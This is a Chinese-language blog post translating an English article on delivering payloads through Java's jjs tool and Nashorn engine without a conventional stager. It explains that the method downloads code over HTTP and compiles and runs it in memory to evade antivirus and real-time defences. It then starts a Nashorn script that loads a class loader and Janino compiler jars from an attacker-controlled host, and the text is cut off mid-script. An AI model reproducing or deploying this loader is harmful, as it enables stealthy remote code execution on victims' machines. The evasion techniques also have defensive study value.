前段时间在网上读了一篇有关java传输器的博客Java Stager without the Stager。该文讲述了利用java的jjs组件和Nashorn引擎下载并执行payload,由于该利用程序不含恶意代码因此免疫大部分杀软的查杀,又由于payload在内存中编译执行,许多实时防御系统也无法检测到。现将该文翻译如下:
最近我一直在研究java,实际上,这是本月出的第三篇博客。
博客一这篇文章里我展示了一个java传输器,用它可以下载payload,在内存中编译它并执行。
博客二 这篇文章里我介绍了利用jjs(jre环境组件,自java8引入)在安装了java的设备上做一些坏事。它通过调用Nashorn引擎以javascript语法访问java对象。
在本文中,我将综合以上两种方法通过Nashorn在“无”java传输器的情况下传送payload。
缺陷分析
我们重新分析一下传输器的目标及特性:传输器是上传到目标主机的一个执行文件或脚本。
传输器必须是正常代码以躲避杀软的粗暴分析。
传输器接着通过HTTP将实际payload下载到内存,这也是躲避杀软策略的方法。
这种“躲入内存”的方法来源于James Williams发布在油管的视频《英特网太热》(~……~)。这段视频被一家杀毒厂商以版权问题强制临时下架,这使视频一下火了。目前已有3万2千的播放量,比第二名多了3万。而第二名是一段今年BSides Manchester会议的视频。
Nashorn Payload// 将这里改为攻击者主机地址
var host = "http:///";
// 通过HTTP加载NnClassLoader
load(host + "NnClassLoader.js");
// 使用NnClassLoader下载Janino和Apache的jar包
// Obtain these Jar files and stick them in your web root
var L = new NnClassLoader({ urls: [host + 'janino-3.0.8.jar', host + 'commons-compiler-3.0.8.jar']});
var P = L.type('org.codehaus.janino.SimpleCompiler');
var SimpleCompiler = L.type("org.codehaus.janino.SimpleCompiler");
// 引入我们要用的对象
var BufferedReader = Java.type("java.io.BufferedReader");
var Input